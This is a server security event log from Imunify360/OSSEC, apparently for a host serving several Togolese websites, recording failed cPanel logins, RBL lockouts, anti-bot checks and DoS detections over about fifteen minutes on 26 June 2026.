128.79.118.44 - - [26/Jun/2026:00:30:39 +0000] "GET /6 HTTP/1.1" 200 11949 libertetogo.tg "https://libertetogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194223&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432735" "Mozilla/5.0 (Linux; arm_64; Android 14; TECNO KL5n) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.115 YaBrowser/26.4.4.115.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.79.118.44


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.207.176.121
country_id: 6252001
description:
[2026-06-26 00:30:40 +0000] info [cpaneld] 73.207.176.121 - perfectl "GET /login/?login_only=1&user=perfectl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user perfectl (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.6
country_id: 1880251
description:
43.173.173.6 - - [26/Jun/2026:00:31:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198491&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F62513&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433891 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/62513" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:32:02 +0000] info [cpaneld] 141.95.93.31 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:31:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6987459&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433871 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.144.166
country_id: 1814991
description:
Jun 26 00:31:38 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.144.166 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-26 00:31:53 +0000] info [cpaneld] 188.166.248.160 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.89.203.164
country_id: 1880251
description:
Jun 26 00:32:02 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.89.203.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:31:11 +0000] "GET /6 HTTP/2.0" 200 11999 libertetogo.tg "https://libertetogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194223&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432735" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.96.185.131
country_id: 1814991
description:
Jun 26 00:31:34 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.96.185.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.127.207.14
country_id: 1562822
description:
Jun 26 00:33:02 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.127.207.14 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.91.153.88
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.91.153.88: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.65.149.131
country_id: 1269750
description:
Jun 26 00:32:29 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.65.149.131 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.214.60.250
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.214.60.250: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:33:47 +0000] info [cpaneld] 141.95.93.31 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.200.174.76
country_id: 6252001
description:
[2026-06-26 00:34:51 +0000] info [cpaneld] 47.200.174.76 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [26/Jun/2026:00:34:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920390&pdata=http%253A%252F%252Fcato.tg.saisine-cato.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434057 HTTP/1.1" 302 0 cato.tg.saisine-cato.tg "http://cato.tg.saisine-cato.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.16.72.11
country_id: 6252001
description:
[2026-06-26 00:34:40 +0000] info [cpaneld] 184.16.72.11 - sncom "GET /login/?login_only=1&user=sncom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.54.88.18
country_id: 6252001
description:
[2026-06-26 00:34:36 +0000] info [cpaneld] 174.54.88.18 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.57.129.66
country_id: 6252001
description:
[2026-06-26 00:35:49 +0000] info [cpaneld] 174.57.129.66 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.11.251.135
country_id: 6252001
description:
[2026-06-26 00:35:52 +0000] info [cpaneld] 98.11.251.135 - inge "GET /login/?login_only=1&user=inge&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inge (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.111.166.121
country_id: 6252001
description:
[2026-06-26 00:35:56 +0000] info [cpaneld] 73.111.166.121 - ing "GET /login/?login_only=1&user=ing&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ing (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.100.39.88
country_id: 1814991
description:
Jun 26 00:36:22 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.100.39.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.99.128.136
country_id: 6252001
description:
[2026-06-26 00:37:59 +0000] info [cpaneld] 24.99.128.136 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.230.50.118
country_id: 6252001
description:
[2026-06-26 00:37:42 +0000] info [cpaneld] 104.230.50.118 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.103.20.35
country_id: 6252001
description:
[2026-06-26 00:37:50 +0000] info [cpaneld] 73.103.20.35 - davet "GET /login/?login_only=1&user=davet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.98.247.102
country_id: 6252001
description:
[2026-06-26 00:37:28 +0000] info [cpaneld] 73.98.247.102 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.230.64.235
country_id: 6252001
description:
[2026-06-26 00:37:46 +0000] info [cpaneld] 73.230.64.235 - soroubat "GET /login/?login_only=1&user=soroubat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.8.58.180
country_id: 6252001
description:
[2026-06-26 00:37:46 +0000] info [cpaneld] 68.8.58.180 - davete "GET /login/?login_only=1&user=davete&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davete (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 16.148.9.138
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 16.148.9.138: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.46
country_id: 6252001
description:
Jun 26 00:38:11 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-26 00:38:13 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.54.209.173
country_id: 6252001
description:
[2026-06-26 00:38:18 +0000] info [cpaneld] 73.54.209.173 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.62.138.114
country_id: 6252001
description:
[2026-06-26 00:38:26 +0000] info [cpaneld] 38.62.138.114 - it "GET /login/?login_only=1&user=it&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user it (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.215.254.101
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.215.254.101: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.120.73.31
country_id: 6252001
description:
[2026-06-26 00:38:11 +0000] info [cpaneld] 73.120.73.31 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.93.24.203
country_id: 6252001
description:
[2026-06-26 00:38:21 +0000] info [cpaneld] 168.93.24.203 - its "GET /login/?login_only=1&user=its&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user its (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.128.86.209
country_id: 6252001
description:
[2026-06-26 00:38:23 +0000] info [cpaneld] 70.128.86.209 - itstg "GET /login/?login_only=1&user=itstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user itstg (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:38:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185875&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782433889 HTTP/2.0" 404 159 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/26.4.1.655.10 YaApp_iOS/2604.1 YaApp_iOS_Browser/2604.1 Safari/604.1 SA/3 Version/18.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.215.254.101
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.215.254.101: 164 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 00:40:11 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.97.168.191
country_id: 6252001
description:
[2026-06-26 00:40:21 +0000] info [cpaneld] 98.97.168.191 - afriquedistribution "GET /login/?login_only=1&user=afriquedistribution&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afriquedistribution (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.115.13.140
country_id: 6252001
description:
[2026-06-26 00:40:27 +0000] info [cpaneld] 71.115.13.140 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.145.84
country_id: 6252001
description:
[2026-06-26 00:40:42 +0000] info [cpaneld] 46.110.145.84 - afr "GET /login/?login_only=1&user=afr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afr (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.127.207.14
country_id: 1562822
description:
Jun 26 00:40:47 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.127.207.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.61.193.146
country_id: 6252001
description:
[2026-06-26 00:40:44 +0000] info [cpaneld] 64.61.193.146 - sophie "GET /login/?login_only=1&user=sophie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sophie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.255.188.177
country_id: 6252001
description:
[2026-06-26 00:40:48 +0000] info [cpaneld] 24.255.188.177 - sophi "GET /login/?login_only=1&user=sophi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sophi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.96.106.48
country_id: 6252001
description:
[2026-06-26 00:40:51 +0000] info [cpaneld] 50.96.106.48 - soph "GET /login/?login_only=1&user=soph&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soph (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.161.213.203
country_id: 6252001
description:
[2026-06-26 00:40:29 +0000] info [cpaneld] 208.161.213.203 - sophieimmobilier "GET /login/?login_only=1&user=sophieimmobilier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sophieimmobilier (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 26 00:40:44 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.185.241.254
country_id: 6252001
description:
[2026-06-26 00:41:42 +0000] info [cpaneld] 184.185.241.254 - togocar "GET /login/?login_only=1&user=togocar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.164.254.22
country_id: 6252001
description:
[2026-06-26 00:41:49 +0000] info [cpaneld] 216.164.254.22 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.189.127.64
country_id: 6252001
description:
[2026-06-26 00:41:56 +0000] info [cpaneld] 24.189.127.64 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.49.149.43
country_id: 6252001
description:
[2026-06-26 00:41:28 +0000] info [cpaneld] 72.49.149.43 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.33.39.150
country_id: 2017370
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-41.194.33.39.150||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.116.226.46
country_id: 6252001
description:
[2026-06-26 00:41:33 +0000] info [cpaneld] 98.116.226.46 - togocarrierebetons "GET /login/?login_only=1&user=togocarrierebetons&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierebetons (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.85.92.162
country_id: 6252001
description:
[2026-06-26 00:41:39 +0000] info [cpaneld] 206.85.92.162 - togocarr "GET /login/?login_only=1&user=togocarr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.81.117.39
country_id: 6252001
description:
[2026-06-26 00:41:52 +0000] info [cpaneld] 162.81.117.39 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.172.125.187
country_id: 6252001
description:
[2026-06-26 00:42:02 +0000] info [cpaneld] 70.172.125.187 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 26 00:41:44 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.4.72.176
country_id: 6252001
description:
[2026-06-26 00:42:52 +0000] info [cpaneld] 107.4.72.176 - tilitulabtg "GET /login/?login_only=1&user=tilitulabtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitulabtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.80.53
country_id: 6251999
description:
[2026-06-26 00:42:11 +0000] info [cpaneld] 217.181.80.53 - elmkvzcm "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 00:42:20 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 26 00:42:25 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.104.164.231
country_id: 6252001
description:
[2026-06-26 00:43:04 +0000] info [cpaneld] 70.104.164.231 - tilitu "GET /login/?login_only=1&user=tilitu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.75.9.109
country_id: 1643084
description:
Jun 26 00:43:31 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.75.9.109 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.125.156.1
country_id: 3469034
description:
[2026-06-26 00:44:10 +0000] info [cpaneld] 179.125.156.1 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.246.119.115
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.246.119.115: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.59.33.94
country_id: 6252001
description:
[2026-06-26 00:43:22 +0000] info [cpaneld] 45.59.33.94 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 26 00:43:36 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.251.94.5
country_id: 6252001
description:
[2026-06-26 00:43:36 +0000] info [cpaneld] 23.251.94.5 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.224.34.17
country_id: 1814991
description:
Jun 26 00:43:44 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.224.34.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.72.212.78
country_id: 1210997
description:
[2026-06-26 00:44:13 +0000] info [cpaneld] 103.72.212.78 - alerte "GET /login/?login_only=1&user=alerte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alerte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.139.9.203
country_id: 294640
description:
[2026-06-26 00:44:27 +0000] info [cpaneld] 89.139.9.203 - alert "GET /login/?login_only=1&user=alert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.238.88.55
country_id: 3469034
description:
[2026-06-26 00:44:37 +0000] info [cpaneld] 45.238.88.55 - al "GET /login/?login_only=1&user=al&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user al (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.110.145.246
country_id: 2464461
description:
[2026-06-26 00:44:30 +0000] info [cpaneld] 154.110.145.246 - aler "GET /login/?login_only=1&user=aler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aler (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jun 26 00:44:48 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.247.35
country_id: 1210997
description:
[2026-06-26 00:44:23 +0000] info [cpaneld] 103.253.247.35 - alertetg "GET /login/?login_only=1&user=alertetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alertetg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.252.78.108
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.252.78.108: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 26 00:44:51 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 63.230.72.132
country_id: 6252001
description:
[2026-06-26 00:45:02 +0000] info [cpaneld] 63.230.72.132 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.241.123.181
country_id: 6252001
description:
[2026-06-26 00:45:05 +0000] info [cpaneld] 151.241.123.181 - festics "GET /login/?login_only=1&user=festics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festics (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.196.31.2
country_id: 1835841
description:
Jun 26 00:45:45 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.196.31.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.66.80.124
country_id: 1562822
description:
Jun 26 00:46:02 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.66.80.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.109.137
country_id: 3469034
description:
